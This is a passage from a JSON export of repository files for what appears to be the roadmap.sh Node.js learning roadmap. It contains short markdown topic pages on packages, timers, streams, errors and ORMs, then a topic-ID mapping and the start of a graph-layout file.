    "path": "src/data/roadmaps/nodejs/content/prompts-package@xgsKrUdfB0g0DMQCLK3aY.md",
    "content": "# Prompts\n\nPrompts is a higher level and user friendly interface built on top of Node.js's inbuilt `Readline` module. It supports different type of prompts such as text, password, autocomplete, date, etc. It is an interactive module and comes with inbuilt validation support.\n\nVisit the following resources to learn more:\n\n- [@official@Prompts](https://www.npmjs.com/package/prompts)"
  },
  {
    "path": "src/data/roadmaps/nodejs/content/pug@O67e2qyhxP5joR5LGyZ2N.md",
    "content": "# Pug\n\nPug is a JavaScript template engine. It is a high-performance template engine heavily influenced by Haml and implemented with JavaScript for Node.js and browsers. Pug was formerly called Jade.\n\nPug is a high-performance template engine heavily influenced by Haml and implemented with JavaScript for Node.js and browsers\n\nVisit the following resources to learn more:\n\n- [@official@Getting started with PugJs](https://pugjs.org/api/getting-started.html)\n- [@article@How to Build a Node Application Using a Pug Template](https://blog.bitsrc.io/how-to-build-a-node-application-using-a-pug-template-7319ab1bba69?gi=40b338891148)\n- [@article@Pug.js tutorial](https://zetcode.com/javascript/pugjs/)\n- [@video@Node.js + Express - Tutorial - PugJS Templating Engine](https://www.youtube.com/watch?v=DSp9ExFw3Ig)"
  },
  {
    "path": "src/data/roadmaps/nodejs/content/running-nodejs-code@uPJqdMQQJRkTMMhNORDeH.md",
    "content": "# Running Node.js Code\n\nThe usual way to run a Node.js program is to run the globally available `node` command (once you install Node.js) and pass the name of the file you want to execute.\n\nVisit the following resources to learn more:\n\n- [@official@Run Node.js from Command Line](https://nodejs.org/en/learn/command-line/run-nodejs-scripts-from-the-command-line/)\n- [@feed@Explore top posts about Node.js](https://app.daily.dev/tags/nodejs?ref=roadmapsh)"
  },
  {
    "path": "src/data/roadmaps/nodejs/content/running-scripts@64pgc7rcgboFcNYuOlX8e.md",
    "content": "# Running Scripts\n\nIn Node.js, npm scripts are used for the purpose of initiating a server, starting the build of a project, and also for running the tests. We can define this scripts in the package.json file of the folder. Also, we can split the huge scripts into many smaller parts if it is needed.\n\nVisit the following resources to learn more:\n\n- [@official@Running Scripts](https://docs.npmjs.com/cli/using-npm/scripts)\n- [@article@Example of Running Scripts](https://riptutorial.com/node-js/example/4592/running-scripts)"
  },
  {
    "path": "src/data/roadmaps/nodejs/content/semantic-versioning@dOlzIXBfAPmbY542lNOe6.md",
    "content": "# Semantic Versioning\n\nSemantic Versioning is a standard for versioning software that's widely adopted in the npm ecosystem. It provides a clear and consistent way to communicate changes in a software package to users.\n\nVersion Format\n--------------\n\nA semantic version number consists of three parts separated by dots:\n\n*   MAJOR: Incremented when there are incompatible API changes.\n*   MINOR: Incremented when new functionality is added in a backwards-compatible manner.\n*   PATCH: Incremented when bug fixes are made without affecting the API.\n\n### Example: 1.2.3\n\n*   1 is the major version.\n*   2 is the minor version.\n*   3 is the patch version.\n\nVisit the following resources to learn more:\n\n- [@official@Semver.org](https://semver.org/)\n- [@article@Medium - Understanding Semantic Versioning](https://medium.com/codex/understanding-semantic-versioning-a-guide-for-developers-dad5f2b70583)\n- [@article@Devopedia - Semver](https://devopedia.org/semantic-versioning)"
  },
  {
    "path": "src/data/roadmaps/nodejs/content/sequelize@fOm-ktIaLqrmA0zln0Bga.md",
    "content": "# Sequelize\n\nSequelize is an easy-to-use and promise-based Node.js ORM tool for Postgres, MySQL, MariaDB, SQLite, DB2, Microsoft SQL Server, and Snowflake. It features solid transaction support, relations, eager and lazy loading, read replication and more.\n\nWhat is an ORM ?\n\nAn ORM is known as Object Relational Mapper. This is a tool or a level of abstraction which maps(converts) data in a relational database into programmatic objects that can be manipulated by a programmer using a programming language (usually an OOP language). ORMs solely exist to map the details between two data sources which due to a mismatch cannot coexist together.\n\nVisit the following resources to learn more:\n\n- [@official@Sequelize](https://sequelize.org/)\n- [@official@Sequelize - NPM Package](https://www.npmjs.com/package/sequelize)\n- [@official@Sequelize Docs](https://sequelize.org/docs/v6/getting-started/)\n- [@article@Getting started with Sequelize](https://levelup.gitconnected.com/the-ultimate-guide-to-get-started-with-sequelize-orm-238588d3516e)\n- [@feed@Explore top posts about Node.js](https://app.daily.dev/tags/nodejs?ref=roadmapsh)"
  },
  {
    "path": "src/data/roadmaps/nodejs/content/setimmediate@YvTPpoIiSqjDYi0Q10kWh.md",
    "content": "# setImmediate\n\nThe `setImmediate` function delays the execution of a function to be called after the current event loops finish all their execution. It's very similar to calling `setTimeout` with 0 ms delay.\n\nVisit the following resources to learn more:\n\n- [@official@Understanding setImmediate](https://nodejs.org/en/learn/asynchronous-work/understanding-setimmediate)\n- [@article@Understanding setImmediate](https://developer.mozilla.org/en-US/docs/Web/API/Window/setImmediate)"
  },
  {
    "path": "src/data/roadmaps/nodejs/content/setinterval@T5I-mFKK6bKzXrzkECI0P.md",
    "content": "# setInterval\n\nThe `setInterval()` method helps us to repeatedly execute a function after a fixed delay. It returns a unique interval ID which can later be used by the `clearInterval()` method, which stops further repeated execution of the function.\n\n`setInterval()` is similar to setTimeout, with a difference. Instead of running the callback function once, it will run it forever, at the specific time interval you specify (in milliseconds):\n\nVisit the following resources to learn more:\n\n- [@article@Scheduling: setTimeout and setInterval](https://javascript.info/settimeout-setinterval)"
  },
  {
    "path": "src/data/roadmaps/nodejs/content/settimeout@W2Dbj4Y78Bgdx7og5xkrg.md",
    "content": "# setTimeout\n\nThe setTimeout runs a function after the specified period expires. Times are declared in milliseconds.\n\nVisit the following resources to learn more:\n\n- [@article@JavaScript MDN Docs](https://developer.mozilla.org/en-US/docs/Web/API/setTimeout)\n- [@video@setInterval and setTimeout: timing events](https://www.youtube.com/watch?v=kOcFZV3c75I)\n- [@video@Learn JavaScript setTimeout() in 6 minutes!](https://www.youtube.com/watch?v=shWr5DNVeCI)"
  },
  {
    "path": "src/data/roadmaps/nodejs/content/stdout--stderr@N2vR1_NyDn4rYLXJzxWBZ.md",
    "content": "# Process stdout\n\nThe `process.stdout` property is an inbuilt application programming interface of the process module which is used to send data out of our program. A Writable Stream to stdout. It implements a `write()` method. `console.log()` prints to the `process.stdout.write()` with formatted output or new line.\n\nVisit the following resources to learn more:\n\n- [@official@process.stdout](https://nodejs.org/api/process.html#processstdout)\n- [@article@process.stdout vs console.log](https://stackoverflow.com/questions/4976466/difference-between-process-stdout-write-and-console-log-in-node-js/4984464#4984464)"
  },
  {
    "path": "src/data/roadmaps/nodejs/content/streams@WrnjjUDXQwwMXQjmgK72U.md",
    "content": "# Nodejs streams\n\nStreams are a type of data handling methods and are used to read, write or transform chunks of data piece by piece without keeping it in memory all at once. There are four types of streams in Node.js.\n\n*   **Readable**: streams from which data can be read.\n*   **Writable**: streams to which we can write data.\n*   **Duplex**: streams that are both Readable and Writable.\n*   **Transform**: streams that can modify or transform the data as it is written and read.\n\nMultiple streams can be chained together using `pipe()` method.\n\nVisit the following resources to learn more:\n\n- [@official@Stream API Documentation](https://nodejs.org/api/stream.html)\n- [@article@Understanding Streams in Node.js](https://nodesource.com/blog/understanding-streams-in-nodejs)\n- [@video@Node.js Streams tutorial](https://www.youtube.com/watch?v=GlybFFMXXmQ)\n- [@feed@Explore top posts about Node.js](https://app.daily.dev/tags/nodejs?ref=roadmapsh)"
  },
  {
    "path": "src/data/roadmaps/nodejs/content/system-errors@05YY-AhLKzn4Ypr4eow5E.md",
    "content": "# System Errors\n\nNode.js generates system errors when exceptions occur within its runtime environment. These usually occur when an application violates an operating system constraint. For example, a system error will occur if an application attempts to read a file that does not exist.\n\nBelow are the system errors commonly encountered when writing a Node.js program:\n\n1.  EACCES - Permission denied\n2.  EADDRINUSE - Address already in use\n3.  ECONNRESET - Connection reset by peer\n4.  EEXIST - File exists\n5.  EISDIR - Is a directory\n6.  EMFILE - Too many open files in system\n7.  ENOENT - No such file or directory\n8.  ENOTDIR - Not a directory\n9.  ENOTEMPTY - Directory not empty\n10.  ENOTFOUND - DNS lookup failed\n11.  EPERM - Operation not permitted\n12.  EPIPE - Broken Pipe\n13.  ETIMEDOUT - Operation timed out\n\nVisit the following resources to learn more:\n\n- [@official@Node.js Errors](https://nodejs.org/api/errors.html#errors_class_systemerror)\n- [@article@@Article@16 Common Errors in Node.js and How to Fix Them](https://betterstack.com/community/guides/scaling-nodejs/nodejs-errors/)"
  },
  {
    "path": "src/data/roadmaps/nodejs/content/template-engines@J0ErCAZT5B97ZMogU2JHd.md",
    "content": "# Template Engines\n\nTemplate engine helps us to create an HTML template with minimal code. Also, it can inject data into HTML template at client side and produce the final HTML.\n\nSome examples of template engines in Node.js are:\n\n*   Nunjucks\n*   Jade\n*   Vash\n*   EJS\n*   Handlebars\n*   HAML\n\nVisit the following resources to learn more:\n\n- [@official@Getting Started with Pug](https://pugjs.org/api/getting-started.html)\n- [@official@Handlebars Package](https://www.npmjs.com/package/handlebars)\n- [@official@EJS Package](https://www.npmjs.com/package/ejs)"
  },
  {
    "path": "src/data/roadmaps/nodejs/content/testing@90NIFfbWjTbyKZKwyJlfI.md",
    "content": "# Testing\n\nSoftware testing is the process of verifying that what we create is doing exactly what we expect it to do. The tests are created to prevent bugs and improve code quality.\n\nThe two most common testing approaches are unit testing and end-to-end testing. In the first, we examine small snippets of code, in the second, we test an entire user flow.\n\nVisit the following resources to learn more:\n\n- [@official@Vitest](https://vitest.dev/)\n- [@official@Jest](https://jest.io)\n- [@article@Software Testing](https://en.wikipedia.org/wiki/Software_testing)"
  },
  {
    "path": "src/data/roadmaps/nodejs/content/threads@KzUmXkwrmU_ssVBjSHAiY.md",
    "content": "# Nodejs Threads\n\nNode.js is a single-threaded language and gives us ways to work parallelly to our main process. Taking note of nowadays multicore system single threading is very memory efficient.\n\nVisit the following resources to learn more:\n\n- [@article@Single Thread vs Child Process vs Worker Threads vs Cluster in Node.js](https://alvinlal.netlify.app/blog/single-thread-vs-child-process-vs-worker-threads-vs-cluster-in-nodejs)\n- [@feed@Explore top posts about Node.js](https://app.daily.dev/tags/nodejs?ref=roadmapsh)"
  },
  {
    "path": "src/data/roadmaps/nodejs/content/topic-node@8ZC8r1PsBp4EyxWy_S0ko.md",
    "content": "# topic node"
  },
  {
    "path": "src/data/roadmaps/nodejs/content/typeorm@rk5FtAPDi1TpvWd0yBbtl.md",
    "content": "# TypeORM\n\nTypeORM is an ORM that can run in NodeJS, Browser, Cordova, PhoneGap, Ionic, React Native, NativeScript, Expo, and Electron platforms and can be used with TypeScript and JavaScript (ES5, ES6, ES7, ES8). Its goal is to always support the latest JavaScript features and provide additional features that help you to develop any kind of application that uses databases - from small applications with a few tables to large scale enterprise applications with multiple databases.\n\nVisit the following resources to learn more:\n\n- [@official@TypeORM Docs](https://typeorm.io)\n- [@video@TypeORM Crash Course](https://www.youtube.com/watch?v=JaTbzPcyiOE)"
  },
  {
    "path": "src/data/roadmaps/nodejs/content/uncaught-exceptions@uzOmaTZrHhBxx5plb345Z.md",
    "content": "# Uncaught Exceptions\n\nWhen a JavaScript error is not properly handled, an uncaughtException is emitted. These suggest the programmer has made an error, and they should be treated with the utmost priority.\n\nThe correct use of `uncaughtException` is to perform synchronous cleanup of allocated resources (e.g. file descriptors, handles, etc) before shutting down the process. It is not safe to resume normal operation after `uncaughtException` because system becomes corrupted. The best way is to let the application crash, log the error and then restart the process automatically using nodemon or pm2.\n\nVisit the following resources to learn more:\n\n- [@official@Uncaught Exception Error Events](https://nodejs.org/api/process.html#event-uncaughtexception)\n- [@article@Let It Crash: Best Practices for Handling Node.js Errors on Shutdown](https://blog.heroku.com/best-practices-nodejs-errors)\n- [@article@Uncaught Exceptions in Node.js](https://shapeshed.com/uncaught-exceptions-in-node/)"
  },
  {
    "path": "src/data/roadmaps/nodejs/content/updating-packages@bYBz12FUiJ1qLgdQSGyGK.md",
    "content": "# Updating Packages\n\nnpm provides various features to help install and maintain the project's dependencies. Dependencies get updates with new features and fixes, so upgrading to a newer version is recommended. We use `npm update` commands for this.\n\nVisit the following resources to learn more:\n\n- [@official@Updating packages downloaded from the registry](https://docs.npmjs.com/updating-packages-downloaded-from-the-registry)\n- [@article@How to Update Npm Packages Safely With Npm Check Updates](https://chrispennington.blog/blog/how-to-update-npm-packages-safely-with-npm-check-updates/)\n- [@video@How to Update All NPM Dependencies At Once](https://www.youtube.com/watch?v=Ghdfdq17JAY)"
  },
  {
    "path": "src/data/roadmaps/nodejs/content/user-specified-errors@wQ4i6_a1EFk9HHc6Sll-3.md",
    "content": "# User Specified Errors\n\nUser specified errors can be created by extending the base Error object, a built-in error class. When creating errors in this manner, you should pass a message string that describes the error. This message can be accessed through the message property on the object. The Error object also contains a name and a stack property that indicate the name of the error and the point in the code at which it is created.\n\nVisit the following resources to learn more:\n\n- [@article@A Comprehensive Guide To Error Handling In Node.js](https://www.honeybadger.io/blog/errors-nodejs/)"
  },
  {
    "path": "src/data/roadmaps/nodejs/content/using-apm@CvkjlOpT34lOHgzQHL40s.md",
    "content": "# Using APM\n\nAs much fun as it is to intercept your container requests with inspect and step through your code, you won’t have this option in production. This is why it makes a lot of sense to try and debug your application locally in the same way as you would in production.\n\nIn production, one of your tools would be to login to your remote server to view the console logs, just as you would on local. But this can be a tedious approach. Luckily, there are tools out there that perform what is called log aggregation, such as Stackify.\n\nThese tools send your logs from your running application into a single location. They often come with high-powered search and query utilities so that you can easily parse your logs and visualize them.\n\nVisit the following resources to learn more:\n\n- [@article@APM Logs: How to Get Started for Faster Debugging](https://last9.io/blog/apm-logs-for-faster-debugging/)\n- [@article@Debugging using APM](https://stackify.com/node-js-debugging-tips/)\n- [@feed@Explore top posts about APM](https://app.daily.dev/tags/apm?ref=roadmapsh)"
  },
  {
    "path": "src/data/roadmaps/nodejs/content/using-debugger@XEGTeGWw05xWYOfUo3POE.md",
    "content": "# Using Debugger\n\nNode.js includes a command-line debugging utility. The Node.js debugger client is not a full-featured debugger, but simple stepping and inspection are possible. To use it, start Node.js with the inspect argument followed by the path to the script to debug.\n\nExample - `$ node inspect myscript.js`\n\nVisit the following resources to learn more:\n\n- [@official@Debugger](https://nodejs.org/api/debugger.html)\n- [@official@Inspect Docs](https://nodejs.org/en/learn/getting-started/debugging)\n- [@article@Freecodecamp.org - Debugging](https://www.freecodecamp.org/news/how-to-debug-node-js-applications/)"
  },
  {
    "path": "src/data/roadmaps/nodejs/content/vitest@qjToBaMenW3SDtEfoCbQ6.md",
    "content": "# Vitest\n\nVitest is a Vite-native unit testing framework that's Jest-compatible. Vitest is a powerful testing library built on top of Vite that is growing in popularity. You can use Vitest for a range of testing needs, such as unit, integration, end-to-end (E2E), snapshot, and performance testing of functions and components. ESM, TypeScript, JSX. Out-of-box ESM, TypeScript and JSX support powered by esbuild. Vitest is free and open source.\n\nVisit the following resources to learn more:\n\n- [@official@Vitest](https://vitest.dev/)\n- [@official@Vitest Documentation](https://vitest.dev/guide/)"
  },
  {
    "path": "src/data/roadmaps/nodejs/content/what-is-nodejs@Mp056kNnwsRWeEXuhGPy-.md",
    "content": "# What is Node.js\n\nNode.js is an open-source and cross-platform JavaScript runtime environment. It is a popular tool for almost any kind of project! Node.js runs the V8 JavaScript engine, Google Chrome's core, outside the browser. This allows Node.js to be very performant. A Node.js app runs in a single process, without creating a new thread for every request.\n\nNode.js provides a set of asynchronous I/O primitives in its standard library that prevent JavaScript code from blocking and generally, libraries in Node.js are written using non-blocking paradigms, making blocking behavior the exception rather than the norm.\n\nVisit the following resources to learn more:\n\n- [@official@Node.js](https://nodejs.org/en/about/)\n- [@official@Node.js - Getting Started](https://nodejs.org/en/learn/getting-started/introduction-to-nodejs)\n- [@video@What is Node.js?](https://www.youtube.com/watch?v=uVwtVBpw7RQ)\n- [@video@How Node.js Works?](https://www.youtube.com/watch?v=jOupHNvDIq8)\n- [@feed@Explore top posts about Node.js](https://app.daily.dev/tags/nodejs?ref=roadmapsh)"
  },
  {
    "path": "src/data/roadmaps/nodejs/content/why-use-nodejs@ex8FOKrUlbu4MuEq2czyW.md",
    "content": "# Why Node.js\n\nNode.js is a cross-platform runtime, perfect for a wide range of use cases. Its huge community makes it easy to get started. It uses the V8 engine to compile JavaScript and runs at lightning-fast speeds. Node.js applications are very scalable and maintainable. Cross-platform support allows the creation of all kinds of applications - desktop apps, software as a service, and even mobile applications. Node.js is perfect for data-intensive and real-time applications since it uses an event-driven, non-blocking I/O model, making it lightweight and efficient. With such a huge community, a vast collection of Node.js packages is available to simplify and boost development.\n\nVisit the following resources to learn more:\n\n- [@official@Learn Node.js](https://nodejs.org/en/learn/getting-started/introduction-to-nodejs)\n- [@article@Why Choose Node.js?](https://medium.com/selleo/why-choose-node-js-b0091ad6c3fc)\n- [@article@5 Reasons to Choose Node.js](https://www.bitovi.com/blog/5-reasons-to-choose-nodejs)\n- [@feed@Explore top posts about Node.js](https://app.daily.dev/tags/nodejs?ref=roadmapsh)"
  },
  {
    "path": "src/data/roadmaps/nodejs/content/winston@Oe9cQCz2lwSaot7miZOta.md",
    "content": "# Winston\n\nwinston is designed to be a simple and universal logging library with support for multiple transports. A transport is essentially a storage device for your logs. Each winston logger can have multiple transports configured at different levels. For example, one may want error logs to be stored in a persistent remote location (like a database), but all logs output to the console or a local file.\n\nVisit the following resources to learn more:\n\n- [@opensource@winston](https://github.com/winstonjs/winston?tab=readme-ov-file#readme)\n- [@article@A Complete Guide to Winston Logging in Node.js](https://betterstack.com/community/guides/logging/how-to-install-setup-and-use-winston-and-morgan-to-log-node-js-applications/)"
  },
  {
    "path": "src/data/roadmaps/nodejs/content/worker-threads@bH2Iv3BX0ZiWD3lOmC_m_.md",
    "content": "# Worker Threads\n\nWorker thread is a continuous parallel thread that runs and accepts messages until it is explicitly closed or terminated. With worker threads, we can achieve a much efficient application without creating a deadlock situation. Workers, unlike children's processes, can exchange memory.\n\nVisit the following resources to learn more:\n\n- [@official@Worker Threads](https://nodejs.org/api/worker_threads.html#worker-threads)"
  },
  {
    "path": "src/data/roadmaps/nodejs/content/working-with-databases@5l-lZ8gwVLqqAF_n99vIO.md",
    "content": "# What is Database\n\nA database is an organized collection of structured information, or data, typically stored electronically in a computer system. A database is usually controlled by a database management system (DBMS).\n\nVisit the following resources to learn more:\n\n- [@article@What is Database?](https://en.wikipedia.org/wiki/Database)\n- [@article@What is Database - AWS](https://aws.amazon.com/what-is/database/)"
  },
  {
    "path": "src/data/roadmaps/nodejs/content/working-with-files@wEK77A6MPQBCBUSJKMiaY.md",
    "content": "# Working with Files\n\nYou can programmatically manipulate files in Node.js with the built-in `fs` module. The name is short for “file system,” and the module contains all the functions you need to read, write, and delete files on the local machine.\n\nVisit the following resources to learn more:\n\n- [@official@File System Module](https://nodejs.org/docs/latest/api/fs.html)\n- [@article@How To Work with Files using the fs Module in Node.js](https://www.digitalocean.com/community/tutorials/how-to-work-with-files-using-the-fs-module-in-node-js)\n- [@feed@Explore top posts about Node.js](https://app.daily.dev/tags/nodejs?ref=roadmapsh)"
  },
  {
    "path": "src/data/roadmaps/nodejs/faqs.astro",
    "content": ""
  },
  {
    "path": "src/data/roadmaps/nodejs/migration-mapping.json",
    "content": "{\n  \"nodejs-introduction\": \"KDd40JOAvZ8O1mfhTYB3K\",\n  \"nodejs-introduction:what-is-nodejs\": \"Mp056kNnwsRWeEXuhGPy-\",\n  \"nodejs-introduction:why-nodejs\": \"ex8FOKrUlbu4MuEq2czyW\",\n  \"nodejs-introduction:history-of-nodejs\": \"Vrcv5px-3fqmyJnQv3WBK\",\n  \"nodejs-introduction:nodejs-vs-browser\": \"ebVb0anYmbD1Y9ZTFXKFp\",\n  \"nodejs-introduction:running-nodejs-code\": \"uPJqdMQQJRkTMMhNORDeH\",\n  \"nodejs-modules\": \"mbGFT6S7mL3bHHEZv0_s2\",\n  \"nodejs-modules:commonjs-vs-esm\": \"mhjswf17nhq075NTYV5gE\",\n  \"nodejs-modules:custom-modules\": \"EEnmOcDKPZzY_O1NwP_5j\",\n  \"nodejs-modules:global-keyword\": \"PEGHvFT2Eg-1OyfhxYu22\",\n  \"nodejs-npm\": \"jQJ9aOKtg-O-GhWk5OgCK\",\n  \"nodejs-npm:npx\": \"YdpJ-DUo8Q5ATRmF4s4YS\",\n  \"nodejs-npm:creating-packages\": \"Uh9hmEy7o1EJLg4E--ku2\",\n  \"nodejs-npm:updating-packages\": \"bYBz12FUiJ1qLgdQSGyGK\",\n  \"nodejs-npm:running-scripts\": \"64pgc7rcgboFcNYuOlX8e\",\n  \"nodejs-npm:npm-workspaces\": \"WvxCGVKLvTUVEHeOcUQPg\",\n  \"nodejs-npm:global-install-vs-local-install\": \"l24OMkPAEDnEDAVAMrMuG\",\n  \"nodejs-error-handling\": \"t_kfKdNSKVBPYQ9zF9VqQ\",\n  \"nodejs-error-handling:stack-trace\": \"wIieXdFtoZWJ-ht8qqWbp\",\n  \"nodejs-error-handling:using-debugger\": \"XEGTeGWw05xWYOfUo3POE\",\n  \"nodejs-error-handling:uncaught-exceptions\": \"uzOmaTZrHhBxx5plb345Z\",\n  \"nodejs-error-handling:error-types:javascript-errors\": \"Wg7KSpAPxjeFMxC6PBnHO\",\n  \"nodejs-error-handling:error-types:system-errors\": \"05YY-AhLKzn4Ypr4eow5E\",\n  \"nodejs-error-handling:error-types:user-specified-errors\": \"wQ4i6_a1EFk9HHc6Sll-3\",\n  \"nodejs-error-handling:error-types:assertion-errors\": \"do-tdCUfDtiZHBg4ZO3dC\",\n  \"nodejs-error-handling:async-errors\": \"3MpxV23lNpuKg0--e_9m7\",\n  \"nodejs-async-programming\": \"uE7fvHSTSdebMf5RsNyaY\",\n  \"nodejs-async-programming:event-emitter\": \"bgEHTBYzRDJqZ6gLqLbsz\",\n  \"nodejs-async-programming:event-loop\": \"b679H8gEBuvrHQ8ik7e96\",\n  \"nodejs-async-programming:promises\": \"QcOqhuKWOUUUBSiu5Oelv\",\n  \"nodejs-async-programming:async-await\": \"a26qNCyMcT5GsVzxeNCLk\",\n  \"nodejs-async-programming:callbacks\": \"GwInWcbQn18PnzKGXzmln\",\n  \"nodejs-async-programming:set-timeout\": \"W2Dbj4Y78Bgdx7og5xkrg\",\n  \"nodejs-async-programming:set-interval\": \"T5I-mFKK6bKzXrzkECI0P\",\n  \"nodejs-async-programming:set-immediate\": \"YvTPpoIiSqjDYi0Q10kWh\",\n  \"nodejs-async-programming:process-next-tick\": \"ATu9-29yJWcDOik5FTOgf\",\n  \"nodejs-working-with-files\": \"wEK77A6MPQBCBUSJKMiaY\",\n  \"nodejs-working-with-files:process-cwd\": \"QT2QE2FLkyUDpwMKYkFQL\",\n  \"nodejs-working-with-files:path-module\": \"Blzb-fdQZMu6Xq5JDJW0_\",\n  \"nodejs-working-with-files:fs-module\": \"b1r1X3XCoPSayQjDBcy54\",\n  \"nodejs-working-with-files:glob\": \"CWH0ZsxJ8beLvwMYJyH52\",\n  \"nodejs-working-with-files:fs-extra\": \"zDmWGRrgwq3Gjfkyk6crK\",\n  \"nodejs-working-with-files:globby\": \"HYTw74rrd7kkOemCxfT9I\",\n  \"nodejs-working-with-files:chokidar\": \"een1zhvgN_33Cu6OiWtyX\",\n  \"nodejs-working-with-files:dirname\": \"1AaGG660rvZlNYMOA35qO\",\n  \"nodejs-working-with-files:filename\": \"P2gdwx1qCxvg1Ppfw0aqQ\",\n  \"nodejs-command-line-apps\": \"Ce-dP-OXu0mEm30rzp2hW\",\n  \"nodejs-command-line-apps:exitting-and-exit-codes\": \"XteNExIZN3_g95_dPCopY\",\n  \"nodejs-command-line-apps:environment-variables:process-env\": \"wthXp2YGg3eTMbxsek77C\",\n  \"nodejs-command-line-apps:environment-variables:dotenv\": \"fE9C7Resn4EcL-hYHbsaZ\",\n  \"nodejs-command-line-apps:taking-input:process-stdin\": \"betuntelnEMSHdatO6VPl\",\n  \"nodejs-command-line-apps:taking-input:inquirer\": \"WFJJtIqVoBIhK10XY-d7l\",\n  \"nodejs-command-line-apps:taking-input:prompts\": \"xgsKrUdfB0g0DMQCLK3aY\",\n  \"nodejs-command-line-apps:printing-output:process-stdout\": \"N2vR1_NyDn4rYLXJzxWBZ\",\n  \"nodejs-command-line-apps:printing-output:chalk\": \"V4OWIC1cnw8EFyu26Y_dA\",\n  \"nodejs-command-line-apps:printing-output:figlet\": \"PHLdJylzNZDJBGi8FFsfO\",\n  \"nodejs-command-line-apps:printing-output:cli-progress\": \"iW9je5Pq7bjxWZDERv_p5\",\n  \"nodejs-command-line-apps:command-line-args:process-argv\": \"lT2DDRtbFfEjb_cmsQx8i\",\n  \"nodejs-command-line-apps:command-line-args:commander-js\": \"BxxLQUI7JcQgF6TK3L5uU\",\n  \"nodejs-apis\": \"fFVCb6aZWRHdNDFt5C09R\",\n  \"nodejs-apis:express-js\": \"1vq_KcYR_pkfp1MtXaL75\",\n  \"nodejs-apis:fastify\": \"WkU_rI4i-UmNSxb5F9TI-\",\n  \"nodejs-apis:nest-js\": \"tGD8XLHnfspfv8CbguGwV\",\n  \"nodejs-apis:api-calls-http\": \"Sjc1YDtbzXyLQH711_3nj\",\n  \"nodejs-apis:axios\": \"BOLiZg8YDKADMwP01U5ph\",\n  \"nodejs-apis:got\": \"6stiDKubT6XVAOGiJ6wsx\",\n  \"nodejs-keep-app-running\": \"swp4wBgA7z-sd64VDkMrw\",\n  \"nodejs-keep-app-running:nodemon\": \"2Ym2jMvov0lZ79aJFaw29\",\n  \"nodejs-template-engines\": \"J0ErCAZT5B97ZMogU2JHd\",\n  \"nodejs-template-engines:ejs\": \"L-_N7OxxuHCXsdWYBgZGu\",\n  \"nodejs-template-engines:pug\": \"O67e2qyhxP5joR5LGyZ2N\",\n  \"nodejs-template-engines:marko\": \"f2DyjBIglAZ6NoHaRnlzt\",\n  \"nodejs-databases\": \"5l-lZ8gwVLqqAF_n99vIO\",\n  \"nodejs-databases:document:mongoose\": \"NDf-o-WECK02mVnZ8IFxy\",\n  \"nodejs-databases:document:prisma\": \"3Qxtf8n6gJYdnRsuqa52Q\",\n  \"nodejs-databases:document:native-drivers\": \"5WqLm53CHDT5uBoMH-iPl\",\n  \"nodejs-databases:relational:knex\": \"HDDnt79_PCB5JU-KnHKUh\",\n  \"nodejs-databases:relational:type-orm\": \"rk5FtAPDi1TpvWd0yBbtl\",\n  \"nodejs-databases:relational:sequelize\": \"fOm-ktIaLqrmA0zln0Bga\",\n  \"nodejs-databases:relational:prisma\": \"O7Cy2g_GPxKU6vPfEmNyi\",\n  \"nodejs-databases:relational:native-drivers\": \"KpC-QYKalUp7VUvnMKBoW\",\n  \"nodejs-logging:winston\": \"Oe9cQCz2lwSaot7miZOta\",\n  \"nodejs-logging:morgan\": \"CTHFGgtXFpke4aPhh5vRY\",\n  \"nodejs-logging\": \"b7ZAEqo0ZU6TNf18Bo0mI\",\n  \"nodejs-testing\": \"90NIFfbWjTbyKZKwyJlfI\",\n  \"nodejs-testing:jest\": \"5xrbKv2stKPJRv7Vzf9nM\",\n  \"nodejs-keep-app-running-prod\": \"af7n-J7VvbdpZh9lwA773\",\n  \"nodejs-keep-app-running-prod:pm2\": \"7WAuMMyelUbgwEHtnMmJv\",\n  \"nodejs-testing:cypress\": \"3Fh3-V1kCZtlUTvEoloIO\",\n  \"nodejs-threads\": \"KzUmXkwrmU_ssVBjSHAiY\",\n  \"nodejs-threads:child-process\": \"lzPrWD3pxQmpbqgYPL-zW\",\n  \"nodejs-threads:cluster\": \"PkQ_sQ0YFPCZGx4BRgG0t\",\n  \"nodejs-threads:worker-threads\": \"bH2Iv3BX0ZiWD3lOmC_m_\",\n  \"nodejs-streams\": \"WrnjjUDXQwwMXQjmgK72U\",\n  \"nodejs-more-debugging\": \"ZLNUuDKhJ03Kw7xMVc7IR\",\n  \"nodejs-more-debugging:memory-leaks:garbage-collection\": \"SJ01N7vMZkNiIuMYQhdpj\",\n  \"nodejs-more-debugging:memory-leaks\": \"oU9I7KBZoTSXXFmYscEIq\",\n  \"nodejs-more-debugging:node-inspect\": \"DcmGcVlEHL4IV7yPMDpVa\",\n  \"nodejs-more-debugging:using-apm\": \"CvkjlOpT34lOHgzQHL40s\",\n  \"nodejs-common-modules\": \"M62lAWBOrTe99TfpFOQ-Y\",\n  \"nodejs-apis:jsonwebtoken\": \"7u2WMxjLx3mMtn0cha4M7\",\n  \"nodejs-apis:passport-js\": \"mIyv6S9a5dCHkk-JhhjKV\"\n}"
  },
  {
    "path": "src/data/roadmaps/nodejs/nodejs.json",
    "content": "{\n  \"nodes\": [\n    {\n      \"id\": \"lY0EOkj4UwEQtbHbEnlwS\",\n      \"type\": \"section\",\n      \"position\": {\n        \"x\": -521.1296292301079,\n        \"y\": 682.1880786390362\n      },\n      \"width\": 224,\n      \"height\": 162,\n      \"style\": {\n        \"width\": 224,\n        \"height\": 162\n      },\n      \"selected\": true,\n      \"data\": {\n        \"style\": {\n          \"backgroundColor\": \"#ffffff\",\n          \"borderColor\": \"#000000\"\n        }\n      },\n      \"dragging\": false,\n      \"resizing\": false,\n      \"positionAbsolute\": {\n        \"x\": -521.1296292301079,\n        \"y\": 682.1880786390362\n      },\n      \"selectable\": true,\n      \"focusable\": true,\n      \"measured\": {\n        \"width\": 224,\n        \"height\": 162\n      }\n    },\n    {\n      \"id\": \"XWHqY5mvMV3eYkysx0Zfp\",\n      \"type\": \"section\",\n      \"position\": {\n        \"x\": -521.1296292301079,\n        \"y\": 832.3567490522917\n      },\n      \"width\": 224,\n      \"height\": 224,\n      \"style\": {\n        \"width\": 224,\n        \"height\": 224\n      },\n      \"selected\": true,\n      \"data\": {\n        \"style\": {\n          \"backgroundColor\": \"#ffffff\",\n          \"borderColor\": \"#000000\"\n        }\n      },\n      \"positionAbsolute\": {\n        \"x\": -521.1296292301079,\n        \"y\": 832.3567490522917\n      },\n      \"dragging\": false,\n      \"resizing\": false,\n      \"selectable\": true,\n      \"focusable\": true,\n      \"measured\": {\n        \"width\": 224,\n  